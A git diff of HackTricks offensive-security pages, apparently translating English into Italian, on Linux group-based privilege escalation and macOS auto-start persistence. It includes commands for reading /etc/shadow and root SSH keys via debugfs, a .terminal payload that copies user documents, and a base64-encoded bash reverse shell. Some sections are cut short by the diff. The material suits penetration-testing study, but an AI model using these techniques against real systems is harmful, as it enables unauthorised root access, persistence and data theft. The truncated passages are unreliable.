[fpm](https://github.com/jordansissel/fpm). +L'esempio seguente crea un pacchetto che include un trigger prima dell'installazione con uno script arbitrario che può essere definito dall'attaccante. Quando installato, questo pacchetto eseguirà il comando arbitrario. Ho usato un semplice esempio di reverse netcat shell per dimostrazione, ma questo può essere cambiato secondo necessità. ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..a6900441a 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +# Gruppi Sudo/Admin -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -# Sudo/Admin Groups - -## **PE - Method 1** - -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +## **PE - Metodo 1** +**A volte**, **per impostazione predefinita \(o perché alcuni software ne hanno bisogno\)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,35 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Se questo è il caso, per **diventare root puoi semplicemente eseguire**: ```text sudo su ``` +## PE - Metodo 2 -## PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trova tutti i binari suid e controlla se c'è il binario **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, potresti probabilmente eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux possono **apparire** alcuni dei gruppi **sudo o admin**. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +Per **diventare root puoi eseguire**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Se provi a eseguire **pkexec** e ricevi questo **errore**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +# Gruppo Wheel -# Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga: ```text %wheel ALL=(ALL:ALL) ALL ``` +Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Se questo è il caso, per **diventare root puoi semplicemente eseguire**: ```text sudo su ``` +# Gruppo Shadow -# Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +Quindi, leggi il file e prova a **crackare alcuni hash**. -So, read the file and try to **crack some hashes**. +# Gruppo Disco -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina. +File:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,70 +84,55 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. +Tuttavia, se provi a **scrivere file di proprietà di root** \(come `/etc/shadow` o `/etc/passwd`\) riceverai un errore di "**Permesso negato**". # Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Raw image data**: ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine \(e seleziona quello che mostra meglio lo schermo\): ![](../../images/image%20%28295%29.png) -# Root Group +# Gruppo Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi... +**Controlla quali file i membri root possono modificare**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Gruppo Docker -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +Puoi montare il filesystem root della macchina host su un volume dell'istanza, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# Gruppo lxc/lxd [lxc - Privilege Escalation](lxd-privilege-escalation.md) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..e7844cf0b 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -2,241 +2,221 @@ {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +Questa sezione si basa pesantemente sulla serie di blog [**Oltre i buoni vecchi LaunchAgents**](https://theevilbit.github.io/beyond/), l'obiettivo è aggiungere **più Località di Avvio Automatico** (se possibile), indicare **quali tecniche funzionano ancora** al giorno d'oggi con l'ultima versione di macOS (13.4) e specificare i **permessi** necessari. -## Sandbox Bypass +## Bypass del Sandbox > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> Qui puoi trovare località di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettando** un'azione **comune**, un **determinato intervallo di tempo** o un'**azione che di solito puoi eseguire** dall'interno di un sandbox senza necessitare di permessi di root. ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### Località - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Attivazione**: Riavvio +- Richiesta di root - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Attivazione**: Riavvio +- Richiesta di root - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Attivazione**: Riavvio +- Richiesta di root - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Attivazione**: Riavvio +- Richiesta di root - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **Attivazione**: Rientro - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **Attivazione**: Rientro > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> Come fatto interessante, **`launchd`** ha un elenco di proprietà incorporato nella sezione Mach-o `__Text.__config` che contiene altri servizi ben noti che launchd deve avviare. Inoltre, questi servizi possono contenere `RequireSuccess`, `RequireRun` e `RebootOnSuccess`, il che significa che devono essere eseguiti e completati con successo. > -> Ofc, It cannot be modified because of code signing. +> Ovviamente, non può essere modificato a causa della firma del codice. -#### Description & Exploitation +#### Descrizione & Sfruttamento -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** è il **primo** **processo** eseguito dal kernel OX S all'avvio e l'ultimo a terminare allo spegnimento. Dovrebbe sempre avere il **PID 1**. Questo processo **leggerà ed eseguirà** le configurazioni indicate nei **plists** **ASEP** in: -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents`: Agenti per utente installati dall'amministratore +- `/Library/LaunchDaemons`: Demoni a livello di sistema installati dall'amministratore +- `/System/Library/LaunchAgents`: Agenti per utente forniti da Apple. +- `/System/Library/LaunchDaemons`: Demoni a livello di sistema forniti da Apple. -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +Quando un utente accede, i plists situati in `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` vengono avviati con i **permessi degli utenti connessi**. +La **principale differenza tra agenti e demoni è che gli agenti vengono caricati quando l'utente accede e i demoni vengono caricati all'avvio del sistema** (poiché ci sono servizi come ssh che devono essere eseguiti prima che qualsiasi utente acceda al sistema). Inoltre, gli agenti possono utilizzare l'interfaccia grafica mentre i demoni devono essere eseguiti in background. ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +Ci sono casi in cui un **agente deve essere eseguito prima che l'utente acceda**, questi sono chiamati **PreLoginAgents**. Ad esempio, questo è utile per fornire tecnologia assistiva al login. Possono essere trovati anche in `/Library/LaunchAgents` (vedi [**qui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un esempio). > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> Nuovi file di configurazione Daemons o Agents saranno **caricati dopo il prossimo riavvio o usando** `launchctl load ` È **anche possibile caricare file .plist senza quell'estensione** con `launchctl -F ` (tuttavia quei file plist non verranno caricati automaticamente dopo il riavvio).\ +> È anche possibile **scaricare** con `launchctl unload ` (il processo indicato da esso sarà terminato), > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> Per **assicurarti** che non ci sia **niente** (come un override) **che impedisca** a un **Agente** o **Daemon** **di** **funzionare**, esegui: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +Elenca tutti gli agenti e i demoni caricati dall'utente corrente: ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> Se un plist è di proprietà di un utente, anche se si trova in una cartella di sistema daemon, il **compito verrà eseguito come utente** e non come root. Questo può prevenire alcuni attacchi di escalation dei privilegi. -#### More info about launchd +#### Maggiori informazioni su launchd -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`** è il **primo** processo in modalità utente che viene avviato dal **kernel**. L'avvio del processo deve essere **riuscito** e **non può uscire o bloccarsi**. È persino **protetto** contro alcuni **segnali di terminazione**. -One of the first things `launchd` would do is to **start** all the **daemons** like: +Una delle prime cose che `launchd` farebbe è **avviare** tutti i **daemon** come: -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` +- **Daemon di timer** basati sul tempo da eseguire: +- atd (`com.apple.atrun.plist`): Ha un `StartInterval` di 30min +- crond (`com.apple.systemstats.daily.plist`): Ha `StartCalendarInterval` per avviarsi alle 00:15 +- **Daemon di rete** come: +- `org.cups.cups-lpd`: Ascolta in TCP (`SockType: stream`) con `SockServiceName: printer` +- SockServiceName deve essere una porta o un servizio da `/etc/services` +- `com.apple.xscertd.plist`: Ascolta in TCP sulla porta 1640 +- **Daemon di percorso** che vengono eseguiti quando un percorso specificato cambia: +- `com.apple.postfix.master`: Controlla il percorso `/etc/postfix/aliases` +- **Daemon di notifiche IOKit**: +- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Porta Mach:** +- `com.apple.xscertd-helper.plist`: Indica nell'entry `MachServices` il nome `com.apple.xscertd.helper` - **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- Questo è diverso dal precedente. Fa sì che launchd avvii app in risposta a eventi specifici. Tuttavia, in questo caso, il binario principale coinvolto non è `launchd` ma `/usr/libexec/UserEventAgent`. Carica plugin dalla cartella SIP riservata /System/Library/UserEventPlugins/ dove ogni plugin indica il suo inizializzatore nella chiave `XPCEventModuleInitializer` o, nel caso di plugin più vecchi, nel dizionario `CFPluginFactories` sotto la chiave `FB86416D-6164-2070-726F-70735C216EC0` del suo `Info.plist`. -### shell startup files +### file di avvio della shell Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Ma è necessario trovare un'app con un bypass TCC che esegue una shell che carica questi file -#### Locations +#### Posizioni - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **Attivatore**: Apri un terminale con zsh - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **Attivatore**: Apri un terminale con zsh +- Richiesta di root - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **Attivatore**: Esci da un terminale con zsh - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **Attivatore**: Esci da un terminale con zsh +- Richiesta di root +- Potenzialmente di più in: **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) -- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` - -#### Description & Exploitation - -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. - +- **Attivatore**: Apri un terminale con bash +- `/etc/profile` (non ha funzionato) +- `~/.profile` (non ha funzionato) +- ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` - -### Re-opened Applications +### Applicazioni Riaperte > [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +> Configurare l'indicata sfruttamento e disconnettersi e riconnettersi o anche riavviare non ha funzionato per me per eseguire l'app. (L'app non veniva eseguita, forse deve essere in esecuzione quando vengono eseguite queste azioni) **Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **Attivazione**: Riavviare le applicazioni riaperte -#### Description & Exploitation +#### Descrizione & Sfruttamento -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +Tutte le applicazioni da riaprire sono all'interno del plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +Quindi, per far avviare le applicazioni riaperte dalla tua, devi semplicemente **aggiungere la tua app alla lista**. -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +L'UUID può essere trovato elencando quella directory o con `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` +Per controllare le applicazioni che verranno riaperte puoi fare: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +Per **aggiungere un'applicazione a questo elenco** puoi usare: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` +### Preferenze del Terminale -### Terminal Preferences +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Il Terminale utilizza le autorizzazioni FDA dell'utente che lo utilizza -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it - -#### Location +#### Posizione - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **Attivazione**: Apri il Terminale -#### Description & Exploitation +#### Descrizione e Sfruttamento -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +In **`~/Library/Preferences`** sono memorizzate le preferenze dell'utente nelle Applicazioni. Alcune di queste preferenze possono contenere una configurazione per **eseguire altre applicazioni/script**. -For example, the Terminal can execute a command in the Startup: +Ad esempio, il Terminale può eseguire un comando all'avvio:
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +Questa configurazione è riflessa nel file **`~/Library/Preferences/com.apple.Terminal.plist`** in questo modo: ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +Quindi, se il plist delle preferenze del terminale nel sistema può essere sovrascritto, la funzionalità **`open`** può essere utilizzata per **aprire il terminale e quel comando verrà eseguito**. -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +Puoi aggiungere questo dalla cli con: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +225,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` +### Terminal Scripts / Altre estensioni di file -### Terminal Scripts / Other file extensions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Uso del Terminal per avere i permessi FDA dell'utente che lo utilizza -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +#### Posizione -#### Location +- **Ovunque** +- **Attivazione**: Apri Terminale -- **Anywhere** - - **Trigger**: Open Terminal +#### Descrizione & Sfruttamento -#### Description & Exploitation - -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. - -Try it with: +Se crei uno [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e lo apri, l'**applicazione Terminale** verrà automaticamente invocata per eseguire i comandi indicati lì. Se l'app Terminale ha alcuni privilegi speciali (come TCC), il tuo comando verrà eseguito con quei privilegi speciali. +Provalo con: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +248,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +268,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +Potresti anche usare le estensioni **`.command`**, **`.tool`**, con contenuti di script shell regolari e verranno aperti anche da Terminal. > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> Se il terminale ha **Accesso Completo al Disco**, sarà in grado di completare quell'azione (nota che il comando eseguito sarà visibile in una finestra del terminale). -### Audio Plugins +### Plugin Audio Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Potresti ottenere un accesso TCC extra -#### Location +#### Posizione - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Richiesta di root +- **Attivazione**: Riavvia coreaudiod o il computer - 